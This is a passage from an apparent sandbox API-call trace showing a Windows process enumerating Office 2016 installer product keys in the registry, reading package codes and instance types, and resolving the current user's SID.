lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="5BF12E5502C6D0748A7C158AD854BE05", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.706] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.706] lstrlenW (lpString="{90160000-0116-0409-1000-0000000FF1CE}") returned 38 [0068.706] lstrlenW (lpString="00006109611090400100000000F01FEC") returned 32 [0068.706] lstrlenW (lpString="00006109611090400100000000F01FEC") returned 32 [0068.706] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.706] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109611090400100000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.706] RegQueryValueExW (in: hKey=0x1d8, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.706] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.706] lstrlenW (lpString="0") returned 1 [0068.706] lstrlenW (lpString="0") returned 1 [0068.706] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.706] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{55E21FB5-6C20-470D-A8C7-51A88D45EB50}") returned 1 [0068.706] GetCurrentThreadId () returned 0xf50 [0068.706] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d4) returned 0x0 [0068.707] RegEnumKeyExW (in: hKey=0x1d4, dwIndex=0xa, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00006109711090400000000000F01FEC", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.707] GetCurrentThreadId () returned 0xf50 [0068.707] GetCurrentThreadId () returned 0xf50 [0068.707] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.707] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.707] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.707] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.707] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.707] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.707] GetCurrentThreadId () returned 0xf50 [0068.707] GetCurrentThreadId () returned 0xf50 [0068.707] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.707] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.707] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.707] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.707] LocalFree (hMem=0x32f770) returned 0x0 [0068.708] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.708] GetCurrentThreadId () returned 0xf50 [0068.708] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.708] lstrlenW (lpString="{90160000-0117-0409-0000-0000000FF1CE}") returned 38 [0068.708] lstrlenW (lpString="00006109711090400000000000F01FEC") returned 32 [0068.708] GetCurrentThreadId () returned 0xf50 [0068.708] GetCurrentThreadId () returned 0xf50 [0068.708] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.708] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.708] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.708] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.708] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.708] lstrlenW (lpString="00006109711090400000000000F01FEC") returned 32 [0068.708] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.708] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\00006109711090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.708] GetCurrentThreadId () returned 0xf50 [0068.708] GetCurrentThreadId () returned 0xf50 [0068.709] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.709] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.709] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.709] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.709] LocalFree (hMem=0x32f770) returned 0x0 [0068.709] lstrlenW (lpString="00006109711090400000000000F01FEC") returned 32 [0068.709] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.709] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\00006109711090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.709] lstrlenW (lpString="00006109711090400000000000F01FEC") returned 32 [0068.709] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.709] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109711090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.711] RegQueryValueExW (in: hKey=0x1d4, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="3483BB7441C559D4BA27A88D4143EF1E", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.711] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.711] lstrlenW (lpString="{90160000-0117-0409-0000-0000000FF1CE}") returned 38 [0068.711] lstrlenW (lpString="00006109711090400000000000F01FEC") returned 32 [0068.711] lstrlenW (lpString="00006109711090400000000000F01FEC") returned 32 [0068.711] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.711] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109711090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.712] RegQueryValueExW (in: hKey=0x1d4, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.712] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.712] lstrlenW (lpString="0") returned 1 [0068.712] lstrlenW (lpString="0") returned 1 [0068.712] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.712] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{47BB3843-5C14-4D95-AB72-8AD81434FEE1}") returned 1 [0068.712] GetCurrentThreadId () returned 0xf50 [0068.712] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d8) returned 0x0 [0068.712] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0xb, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00006109810090400000000000F01FEC", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.712] GetCurrentThreadId () returned 0xf50 [0068.712] GetCurrentThreadId () returned 0xf50 [0068.712] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.713] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.713] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.713] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.713] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.713] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.713] GetCurrentThreadId () returned 0xf50 [0068.713] GetCurrentThreadId () returned 0xf50 [0068.713] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.713] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.713] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.713] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.713] LocalFree (hMem=0x32f770) returned 0x0 [0068.713] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.713] GetCurrentThreadId () returned 0xf50 [0068.713] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.713] lstrlenW (lpString="{90160000-0018-0409-0000-0000000FF1CE}") returned 38 [0068.713] lstrlenW (lpString="00006109810090400000000000F01FEC") returned 32 [0068.714] GetCurrentThreadId () returned 0xf50 [0068.714] GetCurrentThreadId () returned 0xf50 [0068.714] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.714] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.714] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.714] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.714] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.714] lstrlenW (lpString="00006109810090400000000000F01FEC") returned 32 [0068.714] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.714] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\00006109810090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.714] GetCurrentThreadId () returned 0xf50 [0068.714] GetCurrentThreadId () returned 0xf50 [0068.714] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.714] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.714] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.714] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.714] LocalFree (hMem=0x32f770) returned 0x0 [0068.715] lstrlenW (lpString="00006109810090400000000000F01FEC") returned 32 [0068.715] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.715] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\00006109810090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.715] lstrlenW (lpString="00006109810090400000000000F01FEC") returned 32 [0068.715] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.715] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109810090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.715] RegQueryValueExW (in: hKey=0x1d8, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="19DA9A69C5B013B4D8C66F6922825000", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.715] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.715] lstrlenW (lpString="{90160000-0018-0409-0000-0000000FF1CE}") returned 38 [0068.715] lstrlenW (lpString="00006109810090400000000000F01FEC") returned 32 [0068.715] lstrlenW (lpString="00006109810090400000000000F01FEC") returned 32 [0068.715] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.715] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109810090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.715] RegQueryValueExW (in: hKey=0x1d8, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.715] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.715] lstrlenW (lpString="0") returned 1 [0068.715] lstrlenW (lpString="0") returned 1 [0068.716] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.716] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{96A9AD91-0B5C-4B31-8D6C-F69622280500}") returned -1 [0068.716] GetCurrentThreadId () returned 0xf50 [0068.716] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d4) returned 0x0 [0068.716] RegEnumKeyExW (in: hKey=0x1d4, dwIndex=0xc, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00006109910090400000000000F01FEC", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.716] GetCurrentThreadId () returned 0xf50 [0068.716] GetCurrentThreadId () returned 0xf50 [0068.716] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.716] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.716] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.716] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.716] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.716] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.717] GetCurrentThreadId () returned 0xf50 [0068.717] GetCurrentThreadId () returned 0xf50 [0068.717] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.717] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.717] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.717] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.717] LocalFree (hMem=0x32f770) returned 0x0 [0068.717] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.717] GetCurrentThreadId () returned 0xf50 [0068.717] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.717] lstrlenW (lpString="{90160000-0019-0409-0000-0000000FF1CE}") returned 38 [0068.717] lstrlenW (lpString="00006109910090400000000000F01FEC") returned 32 [0068.717] GetCurrentThreadId () returned 0xf50 [0068.717] GetCurrentThreadId () returned 0xf50 [0068.717] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.717] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.718] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, 